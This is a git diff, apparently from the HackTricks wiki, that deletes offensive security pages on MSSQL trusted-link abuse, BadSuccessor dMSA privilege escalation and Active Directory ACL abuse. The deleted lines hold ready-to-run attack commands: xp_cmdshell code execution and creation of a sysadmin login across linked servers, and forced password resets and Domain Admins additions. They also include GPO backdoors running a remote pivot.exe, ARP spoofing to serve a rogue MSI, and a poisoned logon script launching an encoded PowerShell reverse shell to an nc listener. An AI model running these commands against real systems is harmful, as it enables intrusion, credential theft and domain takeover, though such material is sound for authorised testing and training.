-# Cobalt Strike
-inject-assembly 4704 ../SharpCollection/SharpSQLPwn.exe /modules:LIC /linkedsql:<fqdn of SQL to exeecute cmd in> /cmd:whoami /impuser:sa
-```
-
-### Metasploit
-
-You can easily check for trusted links using metasploit.
-
-```bash
-#Set username, password, windows auth (if using AD), IP...
-msf> use exploit/windows/mssql/mssql_linkcrawler
-[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
-```
-
-Notice that metasploit will try to abuse only the `openquery()` function in MSSQL (so, if you can't execute command with `openquery()` you will need to try the `EXECUTE` method **manually** to execute commands, see more below.)
-
-### Manual - Openquery()
-
-From **Linux** you could obtain a MSSQL console shell with **sqsh** and **mssqlclient.py.**
-
-From **Windows** you could also find the links and execute commands manually using a **MSSQL client like** [**HeidiSQL**](https://www.heidisql.com)
-
-_Login using Windows authentication:_
-
-![Metasploit - Manual - Openquery(): Login using Windows authentication](<../../images/image (808).png>)
-
-#### Find Trustable Links
-
-```sql
-select * from master..sysservers;
-EXEC sp_linkedservers;
-```
-
-![Manual - Openquery() - Find Trustable Links: EXEC sp linkedservers;](<../../images/image (716).png>)
-
-#### Execute queries in trustable link
-
-Execute queries through the link (example: find more links in the new accessible instance):
-
-```sql
-select * from openquery("dcorp-sql1", 'select * from master..sysservers')
-```
-
-> [!WARNING]
-> Check where double and single quotes are used, it's important to use them that way.
-
-![Find Trustable Links - Execute queries in trustable link: Check where double and single quotes are used, it's important to use them that way](<../../images/image (643).png>)
-
-You can continue these trusted links chain forever manually.
-
-```sql
-# First level RCE
-SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')
-
-# Second level RCE
-SELECT * FROM OPENQUERY("<computer1>", 'select * from openquery("<computer2>", ''select @@servername; exec xp_cmdshell ''''powershell -enc blah'''''')')
-```
-
-If you cannot perform actions like `exec xp_cmdshell` from `openquery()` try with the `EXECUTE` method.
-
-### Manual - EXECUTE
-
-You can also abuse trusted links using `EXECUTE`:
-
-```bash
-#Create user and give admin privileges
-EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
-EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2"
-```
-
-## Local Privilege Escalation
-
-The **MSSQL local user** usually has a special type of privilege called **`SeImpersonatePrivilege`**. This allows the account to "impersonate a client after authentication".
-
-A strategy that many authors have come up with is to force a SYSTEM service to authenticate to a rogue or man-in-the-middle service that the attacker creates. This rogue service is then able to impersonate the SYSTEM service whilst it's trying to authenticate.
-
-[SweetPotato](https://github.com/CCob/SweetPotato) has a collection of these various techniques which can be executed via Beacon's `execute-assembly` command.
-
-
-
-### SCCM Management Point NTLM Relay (OSD Secret Extraction)
-See how the default SQL roles of SCCM **Management Points** can be abused to dump Network Access Account and Task-Sequence secrets directly from the site database:
-
-{{#ref}}
-sccm-management-point-relay-sql-policy-secrets.md
-{{#endref}}
-
-{{#include ../../banners/hacktricks-training.md}}
-
-
diff --git a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/BadSuccessor.md b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/BadSuccessor.md
deleted file mode 100644
index 7aa7945266d..00000000000
--- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/BadSuccessor.md
+++ /dev/null
@@ -1,108 +0,0 @@
-# BadSuccessor
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Overview
-
-**BadSuccessor** abuses the **delegated Managed Service Account** (**dMSA**) migration workflow introduced in **Windows Server 2025**. A dMSA can be linked to a legacy account through **`msDS-ManagedAccountPrecededByLink`** and moved through the migration states stored in **`msDS-DelegatedMSAState`**. If an attacker can create a dMSA in a writable OU and control those attributes, the KDC can issue tickets for the attacker-controlled dMSA with the **authorization context of the linked account**.
-
-In practice this means a low-privileged user who only has delegated OU rights can create a new dMSA, point it at `Administrator`, complete the migration state, and then obtain a TGT whose PAC contains privileged groups such as **Domain Admins**.
-
-## dMSA migration details that matter
-
-- dMSA is a **Windows Server 2025** feature.
-- `Start-ADServiceAccountMigration` sets the migration into the **started** state.
-- `Complete-ADServiceAccountMigration` sets the migration into the **completed** state.
-- `msDS-DelegatedMSAState = 1` means migration started.
-- `msDS-DelegatedMSAState = 2` means migration completed.
-- During legitimate migration, the dMSA is meant to replace the superseded account transparently, so the KDC/LSA preserve access that the previous account already had.
-
-Microsoft Learn also notes that during migration the original account is tied to the dMSA and the dMSA is intended to access what the old account could access. This is the security assumption BadSuccessor abuses.
-
-## Requirements
-
-1. A domain where **dMSA exists**, which means **Windows Server 2025** support is present on the AD side.
-2. The attacker can **create** `msDS-DelegatedManagedServiceAccount` objects in some OU, or has equivalent broad child-object creation rights there.
-3. The attacker can **write** the relevant dMSA attributes or fully control the dMSA they just created.
-4. The attacker can request Kerberos tickets from a domain-joined context or from a tunnel that reaches LDAP/Kerberos.
-
-### Practical checks
-
-The cleanest operator signal is to verify the domain/forest level and confirm the environment is already using the new Server 2025 stack:
-
-```powershell
-Get-ADDomain | Select Name,DomainMode
-Get-ADForest | Select Name,ForestMode
-```
-
-If you see values such as `Windows2025Domain` and `Windows2025Forest`, treat **BadSuccessor / dMSA migration abuse** as a priority check.
-
-You can also enumerate writable OUs delegated for dMSA creation with public tooling:
-
-```powershell
-.\Get-BadSuccessorOUPermissions.ps1
-```
-
-```bash
-netexec ldap <dc> -u <user> -p '<pass>' -M badsuccessor
-```
-
-## Abuse flow
-
-1. Create a dMSA in an OU where you have delegated create-child rights.
-2. Set **`msDS-ManagedAccountPrecededByLink`** to the DN of a privileged target such as `CN=Administrator,CN=Users,DC=corp,DC=local`.
-3. Set **`msDS-DelegatedMSAState`** to `2` to mark the migration as completed.
-4. Request a TGT for the new dMSA and use the returned ticket to access privileged services.
-
-PowerShell example:
-
-```powershell
-New-ADServiceAccount -Name attacker_dMSA -DNSHostName host.corp.local -Path "OU=Delegated,DC=corp,DC=local"
-Set-ADServiceAccount attacker_dMSA -Add @{
-    msDS-ManagedAccountPrecededByLink="CN=Administrator,CN=Users,DC=corp,DC=local"
-}
-Set-ADServiceAccount attacker_dMSA -Replace @{msDS-DelegatedMSAState=2}
-```
-
-Ticket request / operational tooling examples:
-
-```bash
-Rubeus.exe asktgs /targetuser:attacker_dMSA$ /service:krbtgt/corp.local /dmsa /opsec /nowrap /ptt /ticket:<machine_tgt>
-netexec ldap <dc> -u <user> -p '<pass>' -M badsuccessor -o TARGET_OU='OU=Delegated,DC=corp,DC=local' DMSA_NAME=attacker TARGET_ACCOUNT=Administrator
-```
-
-## Why this is more than privilege escalation
-
-During legitimate migration, Windows also needs the new dMSA to handle tickets that were issued for the previous account before cutover. This is why dMSA-related ticket material can include **current** and **previous** keys in the **`KERB-DMSA-KEY-PACKAGE`** flow.
-
-For an attacker-controlled fake migration, that behavior can turn BadSuccessor into:
-
-- **Privilege escalation** by inheriting privileged group SIDs in the PAC.
-- **Credential material exposure** because previous-key handling can expose material equivalent to the predecessor's RC4/NT hash in vulnerable workflows.
-
-That makes the technique useful both for direct domain takeover and for follow-on operations such as pass-the-hash or wider credential compromise.
-
-## Notes on patch status
-
-The original BadSuccessor behavior is **not just a theoretical 2025 preview issue**. Microsoft assigned it **CVE-2025-53779** and published a security update in **August 2025**. Keep this attack documented for:
-
-- **labs / CTFs / assume-breach exercises**
-- **unpatched Windows Server 2025 environments**
-- **validation of OU delegations and dMSA exposure during assessments**
-
-Do not assume a Windows Server 2025 domain is vulnerable just because dMSA exists; verify patch level and test carefully.
-
-## Tools
-
-- [Akamai BadSuccessor tooling](https://github.com/akamai/BadSuccessor)
-- [SharpSuccessor](https://github.com/logangoins/SharpSuccessor)
-- [NetExec `badsuccessor` module](https://github.com/Pennyw0rth/NetExec/blob/main/nxc/modules/badsuccessor.py)
-
-## References
-
-- [HTB: Eighteen](https://0xdf.gitlab.io/2026/04/11/htb-eighteen.html)
-- [Akamai - BadSuccessor: Abusing dMSA to Escalate Privileges in Active Directory](https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory)
-- [Microsoft Learn - Delegated Managed Service Accounts overview](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/delegated-managed-service-accounts/delegated-managed-service-accounts-overview)
-- [Microsoft Security Response Center - CVE-2025-53779](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-53779)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md b/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md
deleted file mode 100644
index e536a7aace2..00000000000
--- a/src/windows-hardening/active-directory-methodology/acl-persistence-abuse/README.md
+++ /dev/null
@@ -1,406 +0,0 @@
-# Abusing Active Directory ACLs/ACEs
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-**This page is mostly a summary of the techniques from** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **and** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**. For more details, check the original articles.**
-
-## BadSuccessor
-
-
-{{#ref}}
-BadSuccessor.md
-{{#endref}}
-
-## **GenericAll Rights on User**
-
-This privilege grants an attacker full control over a target user account. Once `GenericAll` rights are confirmed using the `Get-ObjectAcl` command, an attacker can:
-
-- **Change the Target's Password**: Using `net user <username> <password> /domain`, the attacker can reset the user's password.
-- From Linux, you can do the same over SAMR with Samba `net rpc`:
-
-```bash
-# Reset target user's password over SAMR from Linux
-net rpc password <samAccountName> '<NewPass>' -U <domain>/<user>%'<pass>' -S <dc_fqdn>
-```
-
-- **If the account is disabled, clear the UAC flag**: `GenericAll` allows editing `userAccountControl`. From Linux, BloodyAD can remove the `ACCOUNTDISABLE` flag:
-
-```bash
-bloodyAD --host <dc_fqdn> -d <domain> -u <user> -p '<pass>' remove uac <samAccountName> -f ACCOUNTDISABLE
-```
-
-- **Targeted Kerberoasting**: Assign an SPN to the user's account to make it kerberoastable, then use Rubeus and targetedKerberoast.py to extract and attempt to crack the ticket-granting ticket (TGT) hashes.
-
-```bash
-Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipalname="fake/NOTHING"}
-.\Rubeus.exe kerberoast /user:<username> /nowrap
-Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
-```
-
-- **Targeted ASREPRoasting**: Disable pre-authentication for the user, making their account vulnerable to ASREPRoasting.
-
-```bash
-Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
-```
-
-- **Shadow Credentials / Key Credential Link**: With `GenericAll` on a user you can add a certificate-based credential and authenticate as them without changing their password. See:
-
-{{#ref}}
-shadow-credentials.md
-{{#endref}}
-
-## **GenericAll Rights on Group**
-
-This privilege allows an attacker to manipulate group memberships if they have `GenericAll` rights on a group like `Domain Admins`. After identifying the group's distinguished name with `Get-NetGroup`, the attacker can:
-
-- **Add Themselves to the Domain Admins Group**: This can be done via direct commands or using modules like Active Directory or PowerSploit.
-
-```bash
-net group "domain admins" spotless /add /domain
-Add-ADGroupMember -Identity "domain admins" -Members spotless
-Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
-```
-
-- From Linux you can also leverage BloodyAD to add yourself into arbitrary groups when you hold GenericAll/Write membership over them. If the target group is nested into “Remote Management Users”, you will immediately gain WinRM access on hosts honoring that group:
-
-```bash
-# Linux tooling example (BloodyAD) to add yourself to a target group
-bloodyAD --host <dc-fqdn> -d <domain> -u <user> -p '<pass>' add groupMember "<Target Group>" <user>
-
-# If the target group is member of "Remote Management Users", WinRM becomes available
-netexec winrm <dc-fqdn> -u <user> -p '<pass>'
-```
-
-## **GenericAll / GenericWrite / Write on Computer/User**
-
-Holding these privileges on a computer object or a user account allows for:
-
-- **Kerberos Resource-based Constrained Delegation**: Enables taking over a computer object.
-- **Shadow Credentials**: Use this technique to impersonate a computer or user account by exploiting the privileges to create shadow credentials.
-
-## **WriteProperty on Group**
-
-If a user has `WriteProperty` rights on all objects for a specific group (e.g., `Domain Admins`), they can:
-
-- **Add Themselves to the Domain Admins Group**: Achievable via combining `net user` and `Add-NetGroupUser` commands, this method allows privilege escalation within the domain.
-
-```bash
-net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
-```
-
-## **Self (Self-Membership) on Group**
-
-This privilege enables attackers to add themselves to specific groups, such as `Domain Admins`, through commands that manipulate group membership directly. Using the following command sequence allows for self-addition:
-
-```bash
-net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
-```
-
-## **WriteProperty (Self-Membership)**
-
-A similar privilege, this allows attackers to directly add themselves to groups by modifying group properties if they have the `WriteProperty` right on those groups. The confirmation and execution of this privilege are performed with:
-
-```bash
-Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
-net group "domain admins" spotless /add /domain
-```
-
-## **ForceChangePassword**
-
-Holding the `ExtendedRight` on a user for `User-Force-Change-Password` allows password resets without knowing the current password. Verification of this right and its exploitation can be done through PowerShell or alternative command-line tools, offering several methods to reset a user's password, including interactive sessions and one-liners for non-interactive environments. The commands range from simple PowerShell invocations to using `rpcclient` on Linux, demonstrating the versatility of attack vectors.
-
-```bash
-Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
-Set-DomainUserPassword -Identity delegate -Verbose
-Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
-```
-
-```bash
-rpcclient -U KnownUsername 10.10.10.192
-> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
-```
-
-## **WriteOwner on Group**
-
-If an attacker finds that they have `WriteOwner` rights over a group, they can change the ownership of the group to themselves. This is particularly impactful when the group in question is `Domain Admins`, as changing ownership allows for broader control over group attributes and membership. The process involves identifying the correct object via `Get-ObjectAcl` and then using `Set-DomainObjectOwner` to modify the owner, either by SID or name.
-
-```bash
-Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
-Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
-Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
-```
-
-## **GenericWrite on User**
-
-This permission allows an attacker to modify user properties. Specifically, with `GenericWrite` access, the attacker can change the logon script path of a user to execute a malicious script upon user logon. This is achieved by using the `Set-ADObject` command to update the `scriptpath` property of the target user to point to the attacker's script.
-
-```bash
-Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
-```
-
-## **GenericWrite on Group**
-
-With this privilege, attackers can manipulate group membership, such as adding themselves or other users to specific groups. This process involves creating a credential object, using it to add or remove users from a group, and verifying the membership changes with PowerShell commands.
-
-```bash
-$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
-$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
-Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose
-Get-DomainGroupMember -Identity "Group Name" | Select MemberName
-Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose
-```
-
-- From Linux, Samba `net` can add/remove members when you hold `GenericWrite` on the group (useful when PowerShell/RSAT are unavailable):
-
-```bash
-# Add yourself to the target group via SAMR
-net rpc group addmem "<Group Name>" <user> -U <domain>/<user>%'<pass>' -S <dc_fqdn>
-# Verify current members
-net rpc group members "<Group Name>" -U <domain>/<user>%'<pass>' -S <dc_fqdn>
-```
-
-## **WriteDACL + WriteOwner**
-
-Owning an AD object and having `WriteDACL` privileges on it enables an attacker to grant themselves `GenericAll` privileges over the object. This is accomplished through ADSI manipulation, allowing for full control over the object and the ability to modify its group memberships. Despite this, limitations exist when trying to exploit these privileges using the Active Directory module's `Set-Acl` / `Get-Acl` cmdlets.
-
-```bash
-$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
-$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
-$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
-$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
-$ADSI.psbase.commitchanges()
-```
-
-### WriteDACL/WriteOwner quick takeover (PowerView)
-
-When you have `WriteOwner` and `WriteDacl` over a user or service account, you can take full control and reset its password using PowerView without knowing the old password:
-
-```powershell
-# Load PowerView
-. .\PowerView.ps1
-
-# Grant yourself full control over the target object (adds GenericAll in the DACL)
-Add-DomainObjectAcl -Rights All -TargetIdentity <TargetUserOrDN> -PrincipalIdentity <YouOrYourGroup> -Verbose
-
-# Set a new password for the target principal
-$cred = ConvertTo-SecureString 'P@ssw0rd!2025#' -AsPlainText -Force
-Set-DomainUserPassword -Identity <TargetUser> -AccountPassword $cred -Verbose
-```
-
-Notes:
-- You may need to first change the owner to yourself if you only have `WriteOwner`:
-
-```powershell
-Set-DomainObjectOwner -Identity <TargetUser> -OwnerIdentity <You>
-```
-
-- Validate access with any protocol (SMB/LDAP/RDP/WinRM) after password reset.
-
-## **Replication on the Domain (DCSync)**
-
-The DCSync attack leverages specific replication permissions on the domain to mimic a Domain Controller and synchronize data, including user credentials. This powerful technique requires permissions like `DS-Replication-Get-Changes`, allowing attackers to extract sensitive information from the AD environment without direct access to a Domain Controller. [**Learn more about the DCSync attack here.**](../dcsync.md)
-
-## GPO Delegation <a href="#gpo-delegation" id="gpo-delegation"></a>
-
-### GPO Delegation
-
-Delegated access to manage Group Policy Objects (GPOs) can present significant security risks. For instance, if a user such as `offense\spotless` is delegated GPO management rights, they may have privileges like **WriteProperty**, **WriteDacl**, and **WriteOwner**. These permissions can be abused for malicious purposes, as identified using PowerView: `bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
-
-### Enumerate GPO Permissions
-
-To identify misconfigured GPOs, PowerSploit's cmdlets can be chained together. This allows for the discovery of GPOs that a specific user has permissions to manage: `powershell Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
-
-**Computers with a Given Policy Applied**: It's possible to resolve which computers a specific GPO applies to, helping understand the scope of potential impact. `powershell Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}`
-
-**Policies Applied to a Given Computer**: To see what policies are applied to a particular computer, commands like `Get-DomainGPO` can be utilized.
-
-**OUs with a Given Policy Applied**: Identifying organizational units (OUs) affected by a given policy can be done using `Get-DomainOU`.
-
-You can also use the tool [**GPOHound**](https://github.com/cogiceo/GPOHound) to enumerate GPOs and find issues in them.
-
-### Abuse GPO - New-GPOImmediateTask
-
-Misconfigured GPOs can be exploited to execute code, for example, by creating an immediate scheduled task. This can be done to add a user to the local administrators group on affected machines, significantly elevating privileges:
-
-```bash
-New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
-```
-
-### GroupPolicy module - Abuse GPO
-
-The GroupPolicy module, if installed, allows for the creation and linking of new GPOs, and setting preferences such as registry values to execute backdoors on affected computers. This method requires the GPO to be updated and a user to log in to the computer for execution:
-
-```bash
-New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"
-Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString
-```
-
-### SharpGPOAbuse - Abuse GPO
-
-SharpGPOAbuse offers a method to abuse existing GPOs by adding tasks or modifying settings without the need to create new GPOs. This tool requires modification of existing GPOs or using RSAT tools to create new ones before applying changes:
-
-```bash
-.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"
-```
-
-### Force Policy Update
-
-GPO updates typically occur around every 90 minutes. To expedite this process, especially after implementing a change, the `gpupdate /force` command can be used on the target computer to force an immediate policy update. This command ensures that any modifications to GPOs are applied without waiting for the next automatic update cycle.
-
-### Under the Hood
-
-Upon inspection of the Scheduled Tasks for a given GPO, like the `Misconfigured Policy`, the addition of tasks such as `evilTask` can be confirmed. These tasks are created through scripts or command-line tools aiming to modify system behavior or escalate privileges.
-
-The structure of the task, as shown in the XML configuration file generated by `New-GPOImmediateTask`, outlines the specifics of the scheduled task - including the command to be executed and its triggers. This file represents how scheduled tasks are defined and managed within GPOs, providing a method for executing arbitrary commands or scripts as part of policy enforcement.
-
-### Users and Groups
-
-GPOs also allow for the manipulation of user and group memberships on target systems. By editing the Users and Groups policy files directly, attackers can add users to privileged groups, such as the local `administrators` group. This is possible through the delegation of GPO management permissions, which permits the modification of policy files to include new users or change group memberships.
-
-The XML configuration file for Users and Groups outlines how these changes are implemented. By adding entries to this file, specific users can be granted elevated privileges across affected systems. This method offers a direct approach to privilege escalation through GPO manipulation.
-
-Furthermore, additional methods for executing code or maintaining persistence, such as leveraging logon/logoff scripts, modifying registry keys for autoruns, installing software via .msi files, or editing service configurations, can also be considered. These techniques provide various avenues for maintaining access and controlling target systems through the abuse of GPOs.
-
-### WriteGPLink + UNC path hijacking (ARP spoofing)
-
-`WriteGPLink` over an OU/domain lets you modify the target container's `gPLink` attribute and **force an existing GPO to apply** without editing the GPO itself. This becomes interesting when the linked GPO already references remote content over **UNC paths** (`\\HOST\share\...`), because authenticated users can read **SYSVOL** and hunt for reusable policies offline.
-
-High-level workflow:
-
-1. Use BloodHound to identify a principal with `WriteGPLink` over an OU and enumerate computers/users inside that OU.
-2. Clone `SYSVOL` read-only and parse GPOs looking for **Software Installation**, **drive mappings** (`Drives.xml`), and **logon/startup scripts** that reference UNC paths.
-3. Prefer policies pointing to a **direct hostname** (for example `\\DC02\share\pkg.msi`) instead of DFS/domain-namespace paths, because hostname-based paths are easier to redirect with L2 spoofing.
-4. Append the chosen GPO GUID to the target OU's `gPLink` so the victim processes that already-existing policy.
-5. On the same broadcast domain, ARP spoof the UNC host and bind its IP locally (`ip addr add <target_ip>/32 dev <iface>`) so the victim's SMB traffic reaches your host.
-6. Serve the expected path/filename from an attacker SMB server (for example `smbserver.py`) and wait for normal policy processing.
-
-Example `SYSVOL` collection and GPO correlation:
-
-```bash
-mkdir -p /mnt/$DOMAIN/SYSVOL/
-mount -t cifs -o username=$USER,password=$PASS,domain=$DOMAIN,ro "//$DC_IP/SYSVOL" "/mnt/$DOMAIN/SYSVOL/"
-rsync -av --exclude="PolicyDefinitions" --update /mnt/$DOMAIN/SYSVOL .
-python3 parse_sysvol.py software -s <SYSVOL> -b <BloodHound_Folder>
-python3 parse_sysvol.py drives -s <SYSVOL> -b <BloodHound_Folder>
-python3 parse_sysvol.py scripts -s <SYSVOL> -b <BloodHound_Folder>
-```
-
-Link the existing GPO to the target OU:
-
-```bash
-python3 link_gpo.py -u <user> -p '<pass>' -d <domain> -dc-ip <dc_ip> \
-  --gpo-guid '{<gpo-guid>}' --target-ou "OU=<TargetOU>,DC=<domain>,DC=<tld>"
-```
-
-#### Software Installation UNC hijack -> SYSTEM
-
-If the linked GPO deploys an MSI from a UNC path, the client will fetch it during **computer startup** and install it as **`NT AUTHORITY\SYSTEM`**. By spoofing the referenced host and serving a malicious MSI under the **same share/path/name**, you can turn `WriteGPLink` into SYSTEM code execution **without modifying SYSVOL**.
-
-Important constraints:
-
-- **Timing matters**: the new link is seen at policy refresh (commonly ~90 minutes), but **Software Installation** usually triggers on **reboot**.
-- Windows Installer commonly tracks the deployment using the package **`ProductCode`**. If the product is already installed, deployment may be skipped.
-- To avoid installer rejection, patch the rogue MSI so its **`ProductCode`** and **`PackageCode`** match the legitimate package expected by the GPO.
-- Old `.aas` advertisement files may remain in `SYSVOL`, so validate that the deployment still looks active before relying on it.
-
-```bash
-ip addr add <unc_host_ip>/32 dev <iface>
-arpspoof-ng -i <iface> -t <victim1>,<victim2> -s <unc_host_ip>
-smbserver.py <share> ./payloads -smb2support --interface-address <unc_host_ip> -debug -ts
-```
-
-#### Drive-map UNC hijack -> NTLM capture / WebDAV relay
-
-GPP drive mappings in `Drives.xml` cause users to authenticate to the configured UNC path during logon or reconnection. If you spoof the referenced host, you can capture **NetNTLMv2**. If SMB is deliberately made to fail, Windows may retry over **WebDAV**, sending **NTLM over HTTP**, which is far more flexible for relays to **LDAP(S)**, **AD CS**, or **SMB**.
-
-#### Logon/startup script UNC hijack
-
-The same pattern applies to UNC-hosted scripts discovered in `SYSVOL`:
-
-- **Logon scripts** usually execute in the **user** context.
-- **Startup scripts** usually execute in the **computer / SYSTEM** context.
-
-If the script path points to a spoofable hostname, redirect the UNC host and serve replacement script content from the expected location.
-
-## SYSVOL/NETLOGON Logon Script Poisoning
-
-Writable paths under `\\<dc>\SYSVOL\<domain>\scripts\` or `\\<dc>\NETLOGON\` allow tampering with logon scripts executed at user logon via GPO. This yields code execution in the security context of logging users.
-
-### Locate logon scripts
-- Inspect user attributes for a configured logon script:
-
-```powershell
-Get-DomainUser -Identity <user> -Properties scriptPath, scriptpath
-```
-
-- Crawl domain shares to surface shortcuts or references to scripts:
-
-```bash
-# NetExec spider (authenticated)
-netexec smb <dc_fqdn> -u <user> -p <pass> -M spider_plus
-```
-
-- Parse `.lnk` files to resolve targets pointing into SYSVOL/NETLOGON (useful DFIR trick and for attackers without direct GPO access):
-
-```bash
-# LnkParse3
-lnkparse login.vbs.lnk
-# Example target revealed:
-# C:\Windows\SYSVOL\sysvol\<domain>\scripts\login.vbs
-```
-
-- BloodHound displays the `logonScript` (scriptPath) attribute on user nodes when present.
-
-### Validate write access (don’t trust share listings)
-Automated tooling may show SYSVOL/NETLOGON as read-only, but underlying NTFS ACLs can still allow writes. Always test:
-
-```bash
-# Interactive write test
-smbclient \\<dc>\SYSVOL -U <user>%<pass>
-smb: \\> cd <domain>\scripts\
-smb: \\<domain>\scripts\\> put smallfile.txt login.vbs   # check size/time change
-```
-
-If file size or mtime changes, you have write. Preserve originals before modifying.
-
-### Poison a VBScript logon script for RCE
-Append a command that launches a PowerShell reverse shell (generate from revshells.com) and keep original logic to avoid breaking business function:
-
-```vb
-' At top of login.vbs
-Set cmdshell = CreateObject("Wscript.Shell")
-cmdshell.run "powershell -e <BASE64_PAYLOAD>"
-
-' Existing mappings remain
-MapNetworkShare "\\\\<dc_fqdn>\\apps", "V"
-MapNetworkShare "\\\\<dc_fqdn>\\docs", "L"
-```
-
-Listen on your host and wait for the next interactive logon:
-
-```bash
-rlwrap -cAr nc -lnvp 443
-```
-
-Notes:
-- Execution happens under the logging user’s token (not SYSTEM). Scope is the GPO link (OU, site, domain) applying that script.
-- Clean up by restoring the original content/timestamps after use.
-
-
-## References
-
-- [https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces)
-- [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)
-- [https://wald0.com/?p=112](https://wald0.com/?p=112)
-- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2)
-- [https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/)
-- [https://adsecurity.org/?p=3658](https://adsecurity.org/?p=3658)
-- [https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule\_\_ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType\_](https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_)
